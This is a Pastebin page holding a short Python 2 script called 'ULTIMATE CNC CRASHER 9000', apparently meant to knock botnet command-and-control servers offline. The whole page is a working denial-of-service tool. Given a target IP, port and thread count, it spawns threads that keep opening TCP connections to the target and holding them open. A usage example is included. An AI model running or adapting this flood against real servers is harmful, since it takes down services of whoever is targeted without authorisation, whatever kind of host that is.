Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#
- # ULTIMATE CNC CRASHER 9000 #
- # Coded by Chris Poole | @codingplanets #
- # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#
- # Usage: - - - - - - - - - - -#
- # python cnc_crasher.py <target> <port> <threads(1-20)> #
- # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#
- # python cnc_crasher.py 69.96.69.69 666 20 #
- # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#
- import socket, os, sys, threading, time
- if len(sys.argv) < 4:
- sys.exit("Usage: python "+sys.argv[0]+" <target> <port> <threads(1-20)>")
- ip = str(sys.argv[1])
- port = int(sys.argv[2])
- threads = int(sys.argv[3])
- def worker():
- try:
- while True:
- try:
- work = cnc_dos(ip)
- work.start()
- time.sleep(0.001)
- except:
- pass
- except:
- pass
- class cnc_dos(threading.Thread):
- def __init__ (self, ip):
- threading.Thread.__init__(self)
- self.ip = ip
- def run(self):
- try:
- sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- sock.connect((self.ip,port))
- print "\033[37m[\033[32m+\033[37m] \033[32mCONNECTED\033[37m"
- time.sleep(6)
- except:
- print "\033[37m[\033[31m+\033[37m] \033[31mCNC OFFLINE\033[37m"
- pass
- for g in xrange(threads):
- try:
- donged = threading.Thread(target=worker)
- donged.start()
- time.sleep(0.5)
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement